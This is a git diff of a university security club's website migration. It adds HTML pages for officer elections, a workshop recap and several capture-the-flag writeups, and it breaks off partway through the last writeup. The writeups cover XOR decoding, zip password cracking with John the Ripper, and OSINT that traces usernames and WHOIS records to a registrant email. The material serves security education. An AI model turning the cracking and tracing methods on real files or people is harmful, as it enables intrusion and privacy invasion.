diff --git a/CNAME b/CNAME index c8d8ca1..c513e3c 100644 --- a/CNAME +++ b/CNAME @@ -1 +1 @@ -osusec.org \ No newline at end of file +osusec.org diff --git a/README.md b/README.md deleted file mode 100644 index a4ca05a..0000000 --- a/README.md +++ /dev/null @@ -1,68 +0,0 @@ -# osusec.github.io - -The source code for [www.osusec.org](https://www.osusec.org)! - -We recently migrated from Wordpress to the static Hugo site you see now; if you see a bug, please let us know in Issues! - -## Adding a blogpost - -Blogposts and any other content to the website is written in Markdown. Here is [a Markdown Cheatsheet](https://www.markdownguide.org/cheat-sheet/) if you need it! - -### Clone the repo and create a branch - -```sh -git clone git@github.com:cacama-valvata/osusec-hugo.git -git checkout -b BRANCH_NAME -git push --set-upstream origin BRANCH_NAME -``` - -### Have Hugo installed - -Hugo is available in many [package repositories](https://gohugo.io/installation/linux/#repository-packages), as a [Docker](https://gohugo.io/installation/linux/#repository-packages), or as [prebuilt binaries](https://gohugo.io/installation/linux/#prebuilt-binaries). Choose one and open a terminal! - -### Create new .md file - -From the project's root directory, run - -```sh -hugo new content/blog/BLOGPOST_NAME_HERE.md -``` - -Hugo will prevent you from creating a blogpost with a title that already exists for a previous blogpost. Make sure that the title you're choosing is descriptive! The title should also be in all lowercase, with spaces replaced with hyphens. See other files in the `content/blog/` folder for examples. - -This will create the new blogpost file with certain 'default' information already written. To start writing: - -1. Hugo will intuit your title from the URL you provide it. Edit this if need be to fix capitalization and include special characters. -2. Add your name to the `author` field. -3. Add a category (or more!) to the `categories` array. This will be array of strings like `['Club News', 'Meeting News']`. See below for a full list of available categories. -4. Add tags if appropriate (many other posts on the same topic, etc). Feel free to be creative. -5. If including a picture, provide a caption for the picture. -6. Write all content below the final `---` that denotes the file's metadata. -7. When ready, set the `draft` field to `false`. - -### Commit it, push it, and open a PR! - -Once finished with the blogpost, commit it: - -```sh -git add content/ static/ -git commit -m "added blogpost BLOGPOST_NAME" -git push -``` - -Navigate to your branch in Github, and create a Pull Request by clicking `Contribute` > `Open pull request`. Verify that it is merging into `base: master` and hit `Create pull request.` Finally, let other officers know in Discord that you have an open PR to be reviewed and published. - -#### Blogpost Categories - -| Category Name | Purpose | -|---------------|--------------------------------------------------------------------------------------------------------| -| Meeting Notes | Summaries of weekly general meetings. Include links to slides and announcements for next week. | -| Club News | Announcements of recent accomplishments, summaries of non-meeting activities, or other special events. | -| Writeups | Writeups by club members of recent CTF Challenges they completed, explaining how they solved them. | -| Uncategorized | Posts that don't fall into any of the other categories, such as a post used as material for a CTF. | - -#### Including photos - -For "featured photos" that show as the title's background of the post itself, the website will look for JPG files that share the same URL as the post itself. For example, for the post `/blog/nsa-visit/`, the website will be looking for `/blog/nsa-visit.jpg`. The caption for this image will be set in the `caption` field in the `.md` file's metadata. - -For non-featured photos, the URL can be anything you want, as you will specify it yourself in the markdown. For cleanliness, keep the image names as "extensions" of the original blog URL. For example, for `/blog/nsa-visit/`, use the URL/name of `/blog/nsa-visit-extra-image.png`. Include a caption with the image for accessibility. diff --git a/static/about.jpg b/about.jpg similarity index 100% rename from static/about.jpg rename to about.jpg diff --git a/about/index.html b/about/index.html new file mode 100644 index 0000000..01afb86 --- /dev/null +++ b/about/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

About

About

The OSU Security Club was founded in 2014 by Daniel Reichert, and was guided by Dr. Yeongjin Jang until 2023. Currently, the club is advised by Dr. Zane Ma. We focus on gaining hands-on experience with exploiting vulnerabilities in systems and networks, defending against these attacks, and getting involved in the security community. There’s no experience or knowledge required, only an interest in learning more about this incredibly important and expanding field!

Current leadership:

Future leadership (Fall 2025):

\ No newline at end of file diff --git a/static/accomplishments.jpg b/accomplishments.jpg similarity index 100% rename from static/accomplishments.jpg rename to accomplishments.jpg diff --git a/accomplishments/index.html b/accomplishments/index.html new file mode 100644 index 0000000..9309aae --- /dev/null +++ b/accomplishments/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Accomplishments

CTF Competitions

CTFtime Profile

CyberDefense Competitions

\ No newline at end of file diff --git a/archetypes/default.md b/archetypes/default.md deleted file mode 100644 index f3684b3..0000000 --- a/archetypes/default.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: "{{ replace .Name "-" " " | title }}" -author: "" -date: {{ .Date }} -categories: [] -tags: [] -caption: "" - -draft: true ---- - - diff --git a/assets/.gitkeep b/assets/.gitkeep deleted file mode 100644 index e69de29..0000000 diff --git a/static/blog/0x41414141-ctf-0x414141.jpg b/blog/0x41414141-ctf-0x414141.jpg similarity index 100% rename from static/blog/0x41414141-ctf-0x414141.jpg rename to blog/0x41414141-ctf-0x414141.jpg diff --git a/blog/0x41414141-ctf-0x414141/index.html b/blog/0x41414141-ctf-0x414141/index.html new file mode 100644 index 0000000..285de90 --- /dev/null +++ b/blog/0x41414141-ctf-0x414141/index.html @@ -0,0 +1,48 @@ + +Codestin Search App

0x41414141 CTF - 0x414141

0x41414141 CTF - 0x414141

Lyell Read

Tags

0x41414141 CTF logo

Prompt

I think offshift promised to opensource some of their code

author: notforsale

Solution

First off, we navigate to the offshift-dev github account, linked from the offshift site. Unfortunately, nothing there. Searching google for “offshift github” brings us to a different github with a single suspicious repository. This has two commits, one where files are uploaded, and one in which the _pycache_ folder is deleted. That folder sounds interesting, so we clone the repository, and checkout the commit where the files were added:

git clone git@github.com:offshift-protocol/promo.git
+cd promo
+git checkout dc43c1ac33f767a7d30dbeab123a1c87566e885d
+cd __pycache__
+

There, we see one .pyc file, which is very likely where the interesting part of this challenge is. To understand it, we use uncompyle6:

pip3 install uncompyle6 --user
+uncompyle6 script.cpython-38.pyc > ../../uncompyled.py
+

Now, upon reviewing that file, we see that we have some interesting cipher of sorts that uses XOR and base64 somehow:

import base64
+secret = 'https://google.com'
+cipher2 = [b'NDE=', b'NTM=', b'NTM=', b'NDk=', b'NTA=', b'MTIz', b'MTEw', b'MTEw', b'MzI=', b'NTE=', b'MzQ=', b'NDE=', b'NDA=', b'NTU=', b'MzY=', b'MTEx', b'NDA=', b'NTA=', b'MTEw', b'NDY=', b'MTI=', b'NDU=', b'MTE2', b'MTIw']
+cipher1 = [base64.b64encode(str(ord(i) ^ 65).encode()) for i in secret]
+

From a little deduction, we can guess that the creation of cipher1 based on secret is how the list cipher2 was developed. Therefore, to decipher that array, we simply need to reverse the list comprehension that generates cipher1.

Working from the outside to the inside (to reverse the operations done during enciphering), we will need to first base64 decode each element. Then, we will have to cast it to an int (the output of ord()), and then use chr() to undo the ord() operation. Lastly we must undo the XOR with 65, which can be done by simply XORing it again. This can all be accomplished as so:

print(''.join([chr(int(base64.b64decode(x)) ^ 65) for x in cipher2]))
+

From that, we get a URL: https://archive.is/oMl59. That archive is a post on 4chan’s /x/ board where the original poster included a link to a mega.nz file download. This downloads what appears to be a corrupt “PDF” [file called smashing.pdf], which file identifies as “data”, indicating that there are no identifiable magic bytes.

NOTE: At this point, inference is made that this PDF is encrypted with a repeating key that makes use of the magic bytes to reverse.

From Wikipedia, we can see that a PDF file should start with 25 50 44 46 2d, so we perform an XOR to determine what the key that was used to encrypt this PDF was.

  25 50 44 46 2d -- PDF Magic Bytes
+^ 64 11 05 07 6c -- Start of smashing.pdf
+----------------
+= 41 41 41 41 41 -- key used to encrypt
+

I would not expect anything less. Therefore, we need to decrypt the whole PDF using this key, and for that, we can use a python script like this one:

with open("smashing.pdf", "rb") as f:
+    contents = f.read()
+
+key = b"\x41\x41\x41\x41"
+out = b""
+for i in range(len(contents)):
+    out += bytes([contents[i] ^ key[i % len(key)]])
+
+with open("done_xor.pdf", "wb") as f:
+    f.write(out)
+
file done_xor.pdf
+done_xor.pdf: PDF document, version 1.4
+

That’s much better, but there’s more. When running strings on that file, we see references to flag.txt, so this could be real steganography. To find out, we use foremost:

dd if=done_xor.pdf | foremost
+Processing: stdin
+|360+1 records in
+360+1 records out
+184539 bytes (185 kB, 180 KiB) copied, 0.0017788 s, 104 MB/s
+foundat=flag.txtUT
+*|
+

Interesting, so we appear to have recovered something. Looking through foremost‘s output folder, we can see that it sliced a PDF and a Zip archive. Next, we have to unzip that, presumably. Let’s give that a shot:

unzip foremost.zip
+Archive:  foremost.zip
+[foremost.zip] flag.txt password: 
+

We need a password, and because we do not know it, we are going to have to crack it. To do so, we must build John The Ripper from source (to have access to zip2john). For that, I followed this handy guide. Once installed, it’s as easy as:

zip2john foremost.zip > hashes
+john hashes --show
+foremost/flag.txt:passwd:flag.txt:foremost::foremost
+1 password hash cracked, 0 left
+

Armed with our password passwd, we attack the Zip, and get the flag:

flag{1t_b33n_A_l0ng_w@y8742}
+

~ Lyell

\ No newline at end of file diff --git a/blog/2019-2020-officer-elections-on-april-25th/index.html b/blog/2019-2020-officer-elections-on-april-25th/index.html new file mode 100644 index 0000000..485f9d7 --- /dev/null +++ b/blog/2019-2020-officer-elections-on-april-25th/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

2019-2020 Officer Elections on April 25th

2019-2020 Officer Elections on April 25th

Zander Work

Tags

We will be holding officer elections for next school year during our regular meeting on Week 4 (April 25th). This is a great way to be more involved with the club, and represent us to the College of Engineering.

Here are the positions (link goes to position duties):

To run for a position, please do the following:

  • Fill out this form no later than April 23rd
  • Send a slide (one slide) to security.club@oregonstate.edu no later than April 23rd:
    • Name
    • Position
    • Info about yourself
    • Qualifications
    • etc.
  • Show up to our meeting on April 25th prepared for the following:
    • Up to 5 minute presentation on why you should be elected for your position
    • Up to 2 minutes Q/A

We will be voting in the meeting on the 25th, so if you want to vote you need to be there. If you aren’t able to be there (candidate or voter), please let me know (I might need to re-think this part).

There is lots more info on the slides.

Best of luck to all who run!

\ No newline at end of file diff --git a/blog/2019-2020-officers/index.html b/blog/2019-2020-officers/index.html new file mode 100644 index 0000000..0e44f32 --- /dev/null +++ b/blog/2019-2020-officers/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

2019-2020 Officers

2019-2020 Officers

Zander Work

Tags

Here are the new officers for the 2019-2020 school year:

  • President: Zander Work
  • Vice President: Hadi Rahal-Arabi
  • Treasurer: David Park
  • Multimedia Coordinator: Adam Stewart
  • Lab Manager: Ryan Kennedy
  • Recruitment/Public Relations: Alex Rash

Thanks to everyone who participated!

\ No newline at end of file diff --git a/blog/2021-2022-osusec-officers-decided/index.html b/blog/2021-2022-osusec-officers-decided/index.html new file mode 100644 index 0000000..d04f560 --- /dev/null +++ b/blog/2021-2022-osusec-officers-decided/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

2021-2022 OSUSEC Officers Decided

2021-2022 OSUSEC Officers Decided

Lyell Read

Tags

For the coming school year, we welcome in 8 officers, in the following positions:

  • President: Lyell Read
  • Vice President: Zach Taylor
  • Treasurer: Mike Carris
  • Lab Manager: Cameron McCawley
  • Community Manager: Christa Wright
  • Recruitment: Brandon Ellis
  • CTF League Coordinator: Allen Benjamin
  • Graphic Designer: Sierra Freihoefer

This year is the first year that the posts of Recruitment Officer, CTF League Coordinator, and Community Manager were officially up for grabs. All three were positions that were voted in during the past year by the current officers, to respond to needs for these roles.

Thanks to everyone who participated!

\ No newline at end of file diff --git a/static/blog/2021_Pentesting-intro-and-NetSPIU-powerpoint.pdf b/blog/2021_Pentesting-intro-and-NetSPIU-powerpoint.pdf similarity index 100% rename from static/blog/2021_Pentesting-intro-and-NetSPIU-powerpoint.pdf rename to blog/2021_Pentesting-intro-and-NetSPIU-powerpoint.pdf diff --git a/blog/2022-2023-osusec-officers-decided/index.html b/blog/2022-2023-osusec-officers-decided/index.html new file mode 100644 index 0000000..a04b19e --- /dev/null +++ b/blog/2022-2023-osusec-officers-decided/index.html @@ -0,0 +1,12 @@ + +Codestin Search App

2022-2023 OSUSEC Officers Decided

2022-2023 OSUSEC Officers Decided

Lyell Read

Tags

The votes are in! After an entertaining election with some contested positions and contestants running from the floor, the officers for the next academic year, 2022-2023.

President: Cameron McCawley +Vice President: Casey Colley +Treasurer: Mike Carris +Lab Manager: Lucas Ball +CTF League Coordinator: Allen Benjamin +Recruitment Officer: Brandon Ellis (Interim) +Community Manager: Gabriel Kulp

Thanks to everyone who participated!

\ No newline at end of file diff --git a/static/blog/2023-2024-osusec-officers-selected.jpg b/blog/2023-2024-osusec-officers-selected.jpg similarity index 100% rename from static/blog/2023-2024-osusec-officers-selected.jpg rename to blog/2023-2024-osusec-officers-selected.jpg diff --git a/blog/2023-2024-osusec-officers-selected/index.html b/blog/2023-2024-osusec-officers-selected/index.html new file mode 100644 index 0000000..2bbdd53 --- /dev/null +++ b/blog/2023-2024-osusec-officers-selected/index.html @@ -0,0 +1,11 @@ + +Codestin Search App

2023-2024 OSUSEC Officers Selected

2023-2024 OSUSEC Officers Selected

Julie Weber

Tags

The club's new 6 officers in front of screens and a whiteboard

This year’s elections were intense; every candidate was subjected to memes, music, and whiteboard art that led to a lot of laughs and a lot of great people elected. Without further adieu, here are your officers for the 2023-2024 academic year:

President: Casey Colley +Vice President: Otso Barron +Treasurer: Abigail Whittle +Lab Manager: Lucas Ball +CTF League Coordinator: Zane Othman-Gomez +Recruitment and Community Outreach Manager: Julie Weber

Thank you to all who came (or attended on Discord) and took part in democracy!

\ No newline at end of file diff --git a/blog/angstromctf-lithp/index.html b/blog/angstromctf-lithp/index.html new file mode 100644 index 0000000..a80b2ba --- /dev/null +++ b/blog/angstromctf-lithp/index.html @@ -0,0 +1,52 @@ + +Codestin Search App

ångstromCTF lithp

ångstromCTF lithp

Lyell Read

Tags

Problem

My friend gave me this program but I couldn’t understand what he was saying – what was he trying to tell me?

Author: fireholder

Points: 60

Solution

First things first, let’s open that lisp program . . . It actually is lisp… oh god what have I just gotten into?

The first lines were most important in solving this challenge the way I did it. It reads:

(defparameter *encrypted* '(8930 15006 8930 10302 11772 13806 13340 11556 12432 13340 10712 10100 11556 12432 9312 10712 10100 10100 8930 10920 8930 5256 9312 9702 8930 10712 15500 9312))
+(defparameter *flag* '(redacted))
+(defparameter *reorder* '(19 4 14 3 10 17 24 22 8 2 5 11 7 26 0 25 18 6 21 23 9 13 16 1 12 15 27 20))
+

Well, then. Given that I do not want to read more lisp than I have to (lest I end up depressed), let’s try to make some sense just based on those variables. With quite a bit of certainty, it appears that reorder is as it is named – an array of indexes that will reorder something. My guess is that it is applied like this:

flag: 97 99 116 102 123 ... 125
+encrypt flag
+for entry[i] in encrypted_flag: place that element at output[reorder[i]]
+

Now we need to try to unjumble this. I wrote up this mess to do that:

#!/usr/bin/python
+
+positions = [19, 4, 14, 3, 10, 17, 24, 22, 8, 2, 5, 11, 7, 26, 0, 25, 18, 6, 21, 23, 9, 13, 16, 1, 12, 15, 27, 20]
+values = [8930, 15006, 8930, 10302, 11772, 13806, 13340, 11556, 12432, 13340, 10712, 10100, 11556, 12432, 9312, 10712, 10100, 10100, 8930, 10920, 8930, 5256, 9312, 9702, 8930, 10712, 15500, 9312]
+output = []
+
+for item in range (0, max(positions) + 1):
+	index = positions.index(item) #get the index in values of element number item
+	output.append(values[index])  #place that at the end of the output list 
+
+print (output)
+	
+$python3 ./undo_reorder.py
+[9312, 9702, 13340, 10302, 15006, 10712, 10100, 11556, 12432, 8930, 11772, 10100, 8930, 5256, 8930, 10712, 9312, 13806, 10100, 8930, 9312, 8930, 11556, 10920, 13340, 10712, 12432, 15500]
+

Apparently, that should be in the right order. Let’s think about it with ASCII on the mind, we should have ‘actf{…}’. Looks about right with two very similar values in the spots where we would expect ‘{‘ and ‘}’…

But those aren’t ASCII! yeah, but they are transformations of ascii values. It cannot be a scalar that is added to the ASCII values of the respective flag characters, as the ‘{‘ and ‘}’ values would have to be 2 apart (‘{‘ = 123, ‘}’ = 125). There could be a scalar value that all the ASCII codes are multiplied by. Let’s check that first value, 9312, which should be related to ASCII 97 (‘a’):

>>>9312/97
+96
+

…interesting. Another: 15006 which should correspond to ‘{‘ or ASCII 123:

>>>15006/123
+122
+

OK. So the algorithm to encrypt the flag is just:

for x in flag: 
+	code = ascii value of x
+	encrypted_value = code * (code-1)
+

Now we can complete the script:

sorted = [9312, 9702, 13340, 10302, 15006, 10712, 10100, 11556, 12432, 8930, 11772, 10100, 8930, 5256, 8930, 10712, 9312, 13806, 10100, 8930, 9312, 8930, 11556, 10920, 13340, 10712, 12432, 15500]
+
+letters = []
+decoded = []
+solved = []
+
+for ascii in range (0, 128):
+	letters.append(ascii*(ascii-1))	#create an array of all ascii values such that the index is the original value, and the value at that index is the encoded value.
+
+for x in sorted:
+	if x in letters:
+		decoded.append(letters.index(x)) #create a decoded array of values
+
+for x in decoded:
+	solved.append(chr(x))					#convert to chars
+
+print (''.join(solved))	#print that flag
+

These two scrips together make up decode_lithp.py.

$python3 ./undo_encrypt.py
+actf{help_me_I_have_a_lithp}
+
\ No newline at end of file diff --git a/static/blog/angstromctf-streams-network.jpg b/blog/angstromctf-streams-network.jpg similarity index 100% rename from static/blog/angstromctf-streams-network.jpg rename to blog/angstromctf-streams-network.jpg diff --git a/blog/angstromctf-streams/index.html b/blog/angstromctf-streams/index.html new file mode 100644 index 0000000..7f383c0 --- /dev/null +++ b/blog/angstromctf-streams/index.html @@ -0,0 +1,64 @@ + +Codestin Search App

ångstromCTF - streams

ångstromCTF - streams

Lyell Read

Tags

Problem

White noise is useful whether you are trying to sleep, relaxing, or concentrating on writing papers. Find some natural white noise here.

Note: The flag is all lowercase and follows the standard format (e.g. actf{example_flag})

Author: ctfhaxor

Points: 70

Hint: Are you sure that’s an mp4 file? What’s inside the file?

Solution

First, we deduced some information about the challenge by reading the description. “The flag is all lowercase” implies that we will be constructing it letter by letter, possibly from audio. First thing to check out is the video on the linked website – just river sounds.

We then proceeded to inspect the website – the HTML looks pretty standard, and I decided to leave player.js alone and come back to it if we failed to find a solution (would be more of a web challenge at that point). Under the ‘Network’ tab, we see that there appear to be two streams of chunks:

Screenshot of Network monitor on

  • chunk-stream0-0000*.m4s chunks initiated by init-stream0.m4s
  • chunk-stream1-0000*.m4s chunks initiated by init-stream1.m4s

In addition there are two attempts to get a file called stream.mp4 (one that has a status of 206 – partial content, and one 200 – complete)… interesting. We got the file using the “Request URL”:

$wget https://streams.2019.chall.actf.co/video/stream.mp4
+$file stream.mp4
+stream.mp4: XML 1.0 document, ASCII text
+

That’s interesting… Let’s open that in an editor. The XML reads as follows (cleaned up for conciseness):

<?xml version="1.0" encoding="utf-8"?>
+	
+			<AdaptationSet id="0" contentType="video" segmentAlignment="true" bitstreamSwitching="true" frameRate="30/1" lang="und">
+				<Representation id="0" mimeType="video/mp4" codecs="avc1.64001f" bandwidth="278539187" width="1280" height="720" frameRate="30/1">
+					...
+				</Representation>
+			</AdaptationSet>
+			<AdaptationSet id="1" contentType="audio" segmentAlignment="true" bitstreamSwitching="true" lang="eng">
+				<Representation id="1" mimeType="audio/mp4" codecs="mp4a.40.2" bandwidth="128000" audioSamplingRate="44100">
+					<AudioChannelConfiguration schemeIdUri="urn:mpeg:dash:23003:3:audio_channel_configuration:2011" value="2" />
+					...
+				</Representation>
+			</AdaptationSet>
+			<AdaptationSet id="2" contentType="audio" segmentAlignment="true" bitstreamSwitching="true" lang="und">
+				<Representation id="2" mimeType="audio/mp4" codecs="mp4a.40.2" bandwidth="48000" audioSamplingRate="8000">
+					<AudioChannelConfiguration schemeIdUri="urn:mpeg:dash:23003:3:audio_channel_configuration:2011" value="1" />
+					...
+				</Representation>
+			</AdaptationSet>
+		</Period>
+	</MPD>
+

Notice that there are actually 3 streams: 0: mp4 video, 1, 2: mp4 audio. Our hunch that some audio will contain our flag is looking good, but how to get this last audio file? To ensure that we know how this process of ‘getting’ a channel looks and works, we try it on a channel we know to exist: channel 0: mp4 video.

From our examination of the files required for the page, we know there are 4 chunks needed, and an init file. We know their names too.

$wget https://streams.2019.chall.actf.co/video/init-stream0.m4s
+$wget https://streams.2019.chall.actf.co/video/chunk-stream0-00001.m4s
+...
+$wget https://streams.2019.chall.actf.co/video/chunk-stream0-00004.m4s
+$ls
+chunk-stream0-00001.m4s
+chunk-stream0-00002.m4s
+chunk-stream0-00003.m4s
+chunk-stream0-00004.m4s
+init-stream0.m4s
+

Now that we have all our m4s chunks, we can concatenate them into an mp4 file:

$cat init-stream0.m4s $(ls -vx chunk-stream0-*.m4s) > stream0.mp4
+

That file plays the video of the brook that is on the site! Now onto grabbing the unknown audio stream. We need:

init file for stream2
+chunks 1..n for stream2
+

…and because we think we know naming conventions, we can guess that those files will be called:

  • init-stream2.m4s
  • chunk-stream2-0000x.m4s | x in 1..n

Lets go try to grab that init file:

$wget https://streams.2019.chall.actf.co/video/init-stream2.m4s
+‘init-stream2.m4s’ saved [741/741] 
+

It exists! We’re go to get the chunks now, but how do we know how many to grab? What I did was to keep wget-ing the next one while the size of the file was reasonably large:

$wget https://streams.2019.chall.actf.co/video/chunk-stream2-00001.m4s
+‘chunk-stream2-00001.m4s’ saved [32629/32629]
+

… rinse repeat:

$ls -lah 
+32K  chunk-stream2-00001.m4s
+31K  chunk-stream2-00002.m4s
+32K  chunk-stream2-00003.m4s
+33K  chunk-stream2-00004.m4s
+32K  chunk-stream2-00005.m4s
+33K  chunk-stream2-00006.m4s
+9.7K chunk-stream2-00007.m4s
+1.5K chunk-stream2-00008.m4s
+883  chunk-stream2-00009.m4s
+883  chunk-stream2-00010.m4s
+883  chunk-stream2-00011.m4s
+741  init-stream2.m4s
+

Notice how the sizes drop off at the end? Chunks 9, 10, 11 are not even fetching chunks anymore, they are getting the HTML for the site. We can delete those, and keep 1..8.

Now we turn those good chunks into a mp4 file:

$cat init-stream2.m4s $(ls -vx chunk-stream2-*.m4s) > stream2.mp4
+

Listening to this file makes it obvious that morse code is at play, so off to the online audio file to text (via morse) converter. There we upload the mp4, and get this result:

ACTF<KN>F#45H-15-B34D-10N9-11V3-M#39-D45H)
+

Well that looks ok… but what are those ‘#’? running it again cleans some of this up:

ACTF<KN>F145H-15-B34D-10N9-11V3-MP39-D45H)
+

Let’s try to understand what it is saying. “flash is bead long live mpeg-dash”. They likely meant ‘dead’ not ‘bead’ so let’s fix that and give that flag a try:

actf{f145h_15_d34d_10n9_11v3_mp39_d45h}
+
\ No newline at end of file diff --git a/blog/armis-workshop.jpg b/blog/armis-workshop.jpg new file mode 100644 index 0000000..34a75ea Binary files /dev/null and b/blog/armis-workshop.jpg differ diff --git a/blog/armis-workshop/index.html b/blog/armis-workshop/index.html new file mode 100644 index 0000000..101080f --- /dev/null +++ b/blog/armis-workshop/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Armis Workshop

Armis Workshop

Casey Colley

Tags

Photo of 9 OSUSEC students and Terry Boedeker (topmost)

Last Friday night, we were very fortunate to host Terry Boedeker of Armis to discuss IoT security in preparation for Cyberforce next weekend!

He talked about the importance of cyber-physical security and guided us through a hands-on lab with Armis’ flagship SIEM, tracing exploit attempts and hidden devices on the demo network. It was super valuable and everyone really enjoyed getting to hear this unique industry perspective! We had 28 students come out and participate, and great informal conversations afterward! Everyone who joined in will be getting an Armis Cyber Defense cert.

Thank you Terry for your time and expertise (and for buying us dinner :) )! We hope to see you with OSUSEC again soon!

\ No newline at end of file diff --git a/static/blog/auctf-aliedas-about-some-thing-namechk1.png b/blog/auctf-aliedas-about-some-thing-namechk1.png similarity index 100% rename from static/blog/auctf-aliedas-about-some-thing-namechk1.png rename to blog/auctf-aliedas-about-some-thing-namechk1.png diff --git a/static/blog/auctf-aliedas-about-some-thing-namechk2.png b/blog/auctf-aliedas-about-some-thing-namechk2.png similarity index 100% rename from static/blog/auctf-aliedas-about-some-thing-namechk2.png rename to blog/auctf-aliedas-about-some-thing-namechk2.png diff --git a/static/blog/auctf-aliedas-about-some-thing.jpg b/blog/auctf-aliedas-about-some-thing.jpg similarity index 100% rename from static/blog/auctf-aliedas-about-some-thing.jpg rename to blog/auctf-aliedas-about-some-thing.jpg diff --git a/blog/auctf-aliedas-about-some-thing/index.html b/blog/auctf-aliedas-about-some-thing/index.html new file mode 100644 index 0000000..56875e5 --- /dev/null +++ b/blog/auctf-aliedas-about-some-thing/index.html @@ -0,0 +1,10 @@ + +Codestin Search App

AUCTF - ALIedAS About Some Thing

AUCTF - ALIedAS About Some Thing

Lyell Read

Tags

AUCTF logo

903 points

Prompt

See what you can find.

AUCTFShh

Author: c

Solution

AUCTFShh looks like a username. To find where that username is in use, we can either check manually (as I started out doing), or use some tools from the OSINT Framework Site. Specifically, I used OSINT Framework > Username > Username Search Engines > Namechk.

Screenshot of Namechk service for username &lsquo;AUCTFShh&rsquo;

I opened each of the greyed out sites in a tab, and looked through each for anything suspicious. The usual suspects (Twitter, Instagram, Reddit) were all blank (even on the Wayback Machine), so on further…

The Steam account by the name of AUCTFShh link archive shows that this user has aliased their user name to youllneverfindmese. Back to Namechk:

Screenshot of Namechk service for username &lsquo;youllneverfindmese&rsquo;

The first thing I noticed is the PasteBin account listed. Visiting it reveals that this user has one page link archive. It contains:

https://devs-r-us.xyz/jashbsdfh1j2345566bqiuwhwebjhbsd/flag.txt
+

The devs-r-us.xyz domain is part of another AUCTF challenge, so we know this is the right place to look.

wget https://devs-r-us.xyz/jashbsdfh1j2345566bqiuwhwebjhbsd/flag.txt
+cat flag.txt
+auctf{4li4s3s_w0nT_5t0p_m3_6722df34df}
+

~Lyell Read

\ No newline at end of file diff --git a/static/blog/auctf-good-old-days.jpg b/blog/auctf-good-old-days.jpg similarity index 100% rename from static/blog/auctf-good-old-days.jpg rename to blog/auctf-good-old-days.jpg diff --git a/blog/auctf-good-old-days/index.html b/blog/auctf-good-old-days/index.html new file mode 100644 index 0000000..a2b483d --- /dev/null +++ b/blog/auctf-good-old-days/index.html @@ -0,0 +1,7 @@ + +Codestin Search App

AUCTF - Good Old Days

AUCTF - Good Old Days

Lyell Read

Tags

AUCTF logo

877 points

Prompt

This site used to look a lot cooler.

Author: c

Solution

Wayback Machine, here I come! This is the most useful view of the captures for the site ctf.auburn.edu: https://web.archive.org/web/sitemap/https://ctf.auburn.edu/. It shows that, among other subdirectories (and trust me, I visited each a couple times), the /users and /users/50 pages have both been captured.

https://web.archive.org/web/20200213064621/https://ctf.auburn.edu/users has a user called auctf{Th053_w3rE_Th3_guD_0l3_d4y5} – why it has to be at the end of that page, I don’t know (I checked the top half a couple times during my research).

auctf{Th053_w3rE_Th3_guD_0l3_d4y5}
+

~Lyell Read

\ No newline at end of file diff --git a/static/blog/auctf-osint-you-all-over-the-place-lorem.jpg b/blog/auctf-osint-you-all-over-the-place-lorem.jpg similarity index 100% rename from static/blog/auctf-osint-you-all-over-the-place-lorem.jpg rename to blog/auctf-osint-you-all-over-the-place-lorem.jpg diff --git a/static/blog/auctf-osint-you-all-over-the-place.jpg b/blog/auctf-osint-you-all-over-the-place.jpg similarity index 100% rename from static/blog/auctf-osint-you-all-over-the-place.jpg rename to blog/auctf-osint-you-all-over-the-place.jpg diff --git a/blog/auctf-osint-you-all-over-the-place/index.html b/blog/auctf-osint-you-all-over-the-place/index.html new file mode 100644 index 0000000..98507eb --- /dev/null +++ b/blog/auctf-osint-you-all-over-the-place/index.html @@ -0,0 +1,7 @@ + +Codestin Search App

AUCTF - OSINT You All Over the Place

AUCTF - OSINT You All Over the Place

Lyell Read

Tags

AUCTF logo

A post-competition writeup; 983 points

Prompt

I do not have access to the prompt, but the URL is devs-r-us.xyz

Solution

After solving the first three challenges, I looked into this one. I investigated the website provided thouroughly, and found out the following:

  • Images mcofee.png and mcafee.png are different, their difference contains some data and a discord link (applicable to Oryx, the last OSINT challenge).
  • Loretta Mcintosh (with twitter handle @BackUpOrMcintoshYouOut) and Jorge Greenwood (@JorgeGreenwoodCodes), and two sites listed in Jorge Greenwood’s Bio, all of which are dead ends on Wayback Machine and at the time of writing (facepalm.org was up for sale, and myworld.com was a corporate site).
  • dig devs-r-us.xyz +short: 35.237.51.101

This is where I got stuck when working through this challenge. I did not (stupidly) pursue more info about the site itself, or who was responsible for hosting it. I wil next time, you can bet on that ;).

First, we pull the ICANN information about the site resulting in this.

That shows that the site is hosted by namecheap, so let’s pull the namesheet data for that site too, and see if we can get more information about it. I queried https://www.namecheap.com/domains/whois/result?domain=devs-r-us.xyz and got this.

That reveals the email of the registrant is shannonengrid@gmail.com, so we can infer that their name is Shannon Engrid.

A Google search turns up first result of Shannon’s linkedin profile link archive, which under “Contact Info” lists a twitter link archive, which in turn lists an instagram account link archive

This in turn has a photo on it, which is of some text:

Photo of a computer screen showing the Lorem Ipsum text containing a CTF flag

There is “auctf” and some leetspeak in there, but it is surrounded by (and split up by) the default sample text (“Lorem ipsum dolor sit amet”). We need to remove that, which I did manually (for each word after “auctf”, if it is in the default text, do not count it in the flag) (based on this:

auctf{7sbhww4yt0g00Nf1nd1nGth3fl4G}
+
\ No newline at end of file diff --git a/static/blog/auctf-who-made-me.jpg b/blog/auctf-who-made-me.jpg similarity index 100% rename from static/blog/auctf-who-made-me.jpg rename to blog/auctf-who-made-me.jpg diff --git a/blog/auctf-who-made-me/index.html b/blog/auctf-who-made-me/index.html new file mode 100644 index 0000000..18fc3c2 --- /dev/null +++ b/blog/auctf-who-made-me/index.html @@ -0,0 +1,7 @@ + +Codestin Search App

AUCTF - Who Made Me

AUCTF - Who Made Me

Lyell Read

Tags

AUCTF logo

950 points

Prompt

One of the developers of this CTF worked really hard on this challenge.

note: the answer is not the author’s name

Author: c

Solution:

Now for a much more real-world OSINT challenge. First, I started by doing a bit of recon. I ascertained that:

  • AU in AUCTF is for Auburn University (homeapge)
  • AUCTF is run by members of the AUEHC (Auburn University Ethical Hacking Club). AUEHC is comprised of members:
  • AUCTF Discord is run by discord users:
    • c AKA _c#9643
    • FireKing AKA Iamfireking#2686
    • JohnsonJangler AKA JohnsonJangler#0353
    • Kensocolo AKA Kensocolo#1000
    • nadrojisk AKA nadrojisk#6700
